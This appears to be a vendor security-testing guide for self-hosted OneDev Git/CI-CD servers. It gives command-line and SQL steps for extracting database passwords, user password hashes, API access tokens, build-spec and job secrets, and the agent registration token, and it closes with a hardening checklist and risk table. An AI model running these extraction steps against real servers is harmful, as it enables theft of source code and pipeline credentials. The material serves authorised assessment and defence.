Git and CI/CD Security Testing

OneDev Security Testing: Default Credentials, API Token, Database, and Git/CI-CD

📅 July 3, 2026 ⏱ 10 min read 🏷 OneDev, Git Security, CI/CD Security, database.properties, H2 Database, REST API Token, Build Agent, Job Secrets, SSH Keys, Code Repository Access

OneDev is a self-hosted Git and CI/CD platform that combines source code management with build automation in a single application. Key assessment areas: database.properties exposes the H2 or MySQL database password containing all platform data; the root account password is shown once at startup and is frequently stored insecurely; the REST API uses access tokens that grant full repository and pipeline access; and build job YAML definitions in repositories frequently contain hardcoded secrets, cloud credentials, and SSH keys used in deployment scripts. This guide covers systematic OneDev security assessment.

database.properties H2/MySQL Credential Extraction
REST API Token Enumeration and Repository Access
Build Job Secret and CI/CD Pipeline Credential Extraction
OneDev Security Hardening

database.properties H2/MySQL Credential Extraction

# OneDev — database.properties credential extraction
ONEDEV_URL="https://git.example.com"

# database.properties — OneDev database configuration
cat /opt/onedev/conf/database.properties 2>/dev/null
# For H2 (embedded, default):
# hibernate.connection.url=jdbc:h2:/opt/onedev/site/db;...
# hibernate.connection.username=sa
# hibernate.connection.password=

# For MySQL:
# hibernate.connection.url=jdbc:mysql://localhost/onedev
# hibernate.connection.username=onedev
# hibernate.connection.password=...   <-- MySQL password

python3 -c "
content = open('/opt/onedev/conf/database.properties').read()
for line in content.splitlines():
    if 'password' in line.lower() or 'url' in line.lower():
        print(line.strip())
" 2>/dev/null

# H2 database direct access — OneDev uses H2 by default
# H2 database file is at /opt/onedev/site/db.mv.db
# Access H2 via its web console or jdbc if exposed
ls -la /opt/onedev/site/*.mv.db 2>/dev/null

# Unauthenticated server information disclosure
curl -s "${ONEDEV_URL}/~api/server-information" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Version: {d.get(\"version\")}')
    print(f'Server: {d.get(\"serverUrl\")}')
except: pass
" 2>/dev/null

REST API Token Enumeration and Repository Access

# OneDev REST API — access token enumeration and repository access
ONEDEV_URL="https://git.example.com"

# OneDev REST API uses Bearer token authentication
# Tokens are created per-user in Settings > Access Tokens
# Tokens from database provide full access at the user's permission level

# List all users (unauthenticated in some versions)
curl -s "${ONEDEV_URL}/~api/users" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Total users: {len(d)}')
    for u in d[:10]:
        print(f'  ID:{u.get(\"id\")} {u.get(\"name\")} ({u.get(\"email\")})')
except: pass
" 2>/dev/null

# With extracted access token — full repository enumeration
TOKEN="extracted-access-token"

# List all projects
curl -s "${ONEDEV_URL}/~api/projects" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for p in d[:10]:
        print(f'  {p.get(\"name\")}: {p.get(\"description\",\"\")[:50]}')
        print(f'    Path: {p.get(\"path\")}')
except: pass
" 2>/dev/null

# Clone any repository using access token
# git clone http://api:TOKEN@git.example.com/project-name

# Access build job definitions (contain secrets)
curl -s "${ONEDEV_URL}/~api/projects/1/builds" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | head -20

# List all access tokens in database (H2 or MySQL)
# H2: connect to database and query User table
# MySQL:
DB_PASS="extracted-mysql-password"
mysql -u onedev -p"${DB_PASS}" onedev 2>/dev/null << 'EOF'
-- User accounts with bcrypt password hashes
SELECT u.id, u.name, u.email, u.password_hash
FROM _User u
WHERE u.id > 0
ORDER BY u.id;

-- Access tokens per user
SELECT t.id, t.user_id, t.value, t.description
FROM AccessToken t
LIMIT 20;
EOF

Build Job Secret and CI/CD Pipeline Credential Extraction

# OneDev — build job secret and CI/CD pipeline credential extraction
ONEDEV_URL="https://git.example.com"
TOKEN="extracted-access-token"

# OneDev build jobs are defined in .onedev-buildspec.yml in each repository
# These YAML files frequently contain hardcoded secrets in script steps

# Access .onedev-buildspec.yml via API (raw file content)
# List all repositories and check their build specs
for PROJECT_ID in 1 2 3 4 5; do
  BUILDSPEC=$(curl -s \
    "${ONEDEV_URL}/~api/projects/${PROJECT_ID}/contents?path=.onedev-buildspec.yml&revision=main" \
    -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | \
    python3 -c "import json,sys,base64; d=json.load(sys.stdin); print(base64.b64decode(d.get('base64Content','')).decode('utf-8','ignore'))" 2>/dev/null)

  if [ -n "$BUILDSPEC" ]; then
    echo "=== Project ${PROJECT_ID} .onedev-buildspec.yml ==="
    # Search for embedded credentials
    echo "$BUILDSPEC" | grep -iE "password|secret|key|token|aws_|api_key" | head -10
  fi
done

# OneDev job secrets are stored in the project settings
# Extract via API: /~api/projects/{id}/job-secrets
curl -s "${ONEDEV_URL}/~api/projects/1/job-secrets" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for s in d:
        print(f'  Secret: {s.get(\"name\")} = {s.get(\"value\",\"[hidden]\")}')
except: pass
" 2>/dev/null

# Agent registration token extraction
# Build agents authenticate with a registration token stored in the database
cat /opt/onedev/site/agent-token 2>/dev/null
# If this token is compromised, an attacker can register a malicious build agent
# that receives and executes build jobs in the context of the CI/CD pipeline

OneDev Security Hardening

OneDev Security Hardening Checklist:

Secure the root account password and store it safely — OneDev generates a random root account password and displays it once in the console output at first startup; this password is frequently captured in deployment scripts, Docker container logs, or screenshots and stored insecurely; retrieve the initial password securely and change it immediately; if using Docker, prevent the startup logs from being captured in monitoring or logging systems that might store or transmit the initial password; enforce strong passwords for all user accounts; OneDev uses bcrypt for password hashing, but weak passwords are still vulnerable to dictionary attacks if the database is compromised
Protect database.properties and H2 database files — OneDev uses H2 as its embedded database by default; the H2 database file at /opt/onedev/site/db.mv.db contains all platform data including user password hashes, access tokens, project data, and build history; this file should be readable only by the OneDev process user; for MySQL deployments, the database password in database.properties must be protected; do not use the default H2 configuration for production deployments — migrate to MySQL or PostgreSQL where database access controls can be more granularly managed; back up the database file and consider encrypting it at rest
Rotate access tokens and implement token scoping — OneDev access tokens are equivalent to passwords and provide the same level of access as the user who created them; access tokens should be rotated regularly and revoked when no longer needed; avoid creating access tokens with admin account credentials — instead, create dedicated service accounts with minimum required permissions for CI/CD integrations; be aware that access tokens extracted from the database allow cloning all repositories accessible to that user account, accessing build history and job secrets, and triggering new builds; audit which tokens exist and their usage in Settings > Access Tokens
Audit build job YAML files for embedded secrets — .onedev-buildspec.yml files committed to repositories frequently contain hardcoded credentials including AWS access keys and secrets, Docker registry passwords, SSH private keys used for deployment, Kubernetes cluster tokens, and deployment SSH host fingerprints; use OneDev's built-in job secret management instead of embedding credentials in YAML; job secrets are stored in the database and injected as environment variables at build time without being visible in the build definition YAML; scan all existing repositories for hardcoded secrets and rotate any credentials that have been committed to version control history
Restrict agent registration and protect agent tokens — OneDev build agents authenticate with a shared registration token to connect to the server and receive build jobs; if this token is compromised, an attacker can register a malicious agent that appears legitimate and receives sensitive build jobs; the agent registration token is stored in the site/agent-token file; rotate this token regularly and restrict network access to the agent connection port; ensure that build agents run in isolated environments (containers or VMs) to prevent a compromised build job from accessing other agents or the OneDev server; restrict what environment variables and secrets are accessible to specific build jobs using OneDev's job secret access controls

Security Test	Method	Risk
database.properties H2/MySQL password extraction	Read /opt/onedev/conf/database.properties — database credentials; H2 db.mv.db file contains all users, access tokens, and build history	Critical
H2 database file direct access	Read /opt/onedev/site/db.mv.db — complete OneDev database; all users, bcrypt hashes, access tokens, project data, job secrets	Critical
Access token extraction from database	MySQL/H2 SELECT value FROM AccessToken — all user access tokens enabling full repository clone, API access, build trigger	High
Build job YAML hardcoded secret extraction	GET /~api/projects/{id}/contents?path=.onedev-buildspec.yml — AWS keys, Docker passwords, SSH keys, K8s tokens in build scripts	High
Agent registration token extraction	Read /opt/onedev/site/agent-token — register malicious build agent; receive and intercept production CI/CD job execution	High

Automate OneDev Security Testing

Ironimo tests OneDev deployments for database.properties H2/MySQL password extraction, H2 db.mv.db file direct access assessment, access token extraction from AccessToken table, root account password brute-force, /~api/server-information unauthenticated version disclosure, .onedev-buildspec.yml hardcoded secret scanning across all repositories, job secret API extraction, agent registration token file access, user enumeration via /~api/users, and repository clone access via extracted tokens across all projects.

Start free scan

Table of Contents

database.properties H2/MySQL Credential Extraction

REST API Token Enumeration and Repository Access

Build Job Secret and CI/CD Pipeline Credential Extraction

OneDev Security Hardening

Automate OneDev Security Testing